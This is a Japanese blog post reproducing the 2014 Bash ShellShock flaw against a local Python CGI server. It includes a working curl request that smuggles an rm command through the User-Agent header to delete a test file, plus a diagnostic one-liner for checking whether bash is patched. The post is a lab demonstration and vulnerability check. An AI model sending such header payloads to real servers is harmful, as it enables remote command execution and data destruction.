5
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

今更なBashのShellShockを試してみた

Posted at

寒気がしましたよ。
サーバ管理者の方々はすでにBashをアップデートされていると思いますが、とりあえず備忘録ということで書いておきます。

ShellShockのテスト

テスト用のWEBサーバ

テスト用のWEBサーバはpythonのCLIで立ち上げるのが楽。

$ mkdir cgi-bin
$ python -m CGIHTTPServer

サンプルコード

コマンド実行してればよいです。内部で/bin/bashが呼ばれるなら。

cgi-bin/index.py
# !/usr/bin/python
import popen2
print "Content-type: text/html"
print
print "<html>"

stdout, stdin, stderr = popen2.popen3("ls -l /tmp/hogehoge.txt")
for x in stdout: print x + "<br>"

print "</html>"

ちゃんと実行権限をつけましょう。

$ chmod +x cgi-bin/index.py
$ ls -l cgi-bin/index.py
-rwxr-xr-x 1 dharry dharry 184 Sep 27 18:06 index.py

ShellShock実行

ゴミファイルを作ります。

$ touch /tmp/hogehoge.txt
$ ls -l /tmp/hogehoge.txt
-rw-rw-r-- 1 dharry dharry 0 Sep 27 18:08 /tmp/hogehoge.txt

通常のWEBアクセス

$ curl  http://localhost:8000/cgi-bin/index.py
<html>
-rw-rw-r-- 1 dharry dharry 0 Sep 27 18:08 /tmp/hogehoge.txt
<br>
</html>

ShellShock 実行!!

$ curl -A "() { :; }; /bin/rm -f /tmp/hogehoge.txt"  http://localhost:8000/cgi-bin/index.py
<html>
</html>

あ、ファイル消えている

$ ls -l /tmp/hogehoge.txt
ls: cannot access /tmp/hogehoge.txt: No such file or directory

診断方法 (Diagnostic Steps)

あかんやつ

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
コマンドが実行できた場合に表示される内容
vulnerable
this is a test

直っているやつ

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

参考

https://access.redhat.com/articles/1200223
https://www.invisiblethreat.ca/2014/09/cve-2014-6271/

5
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?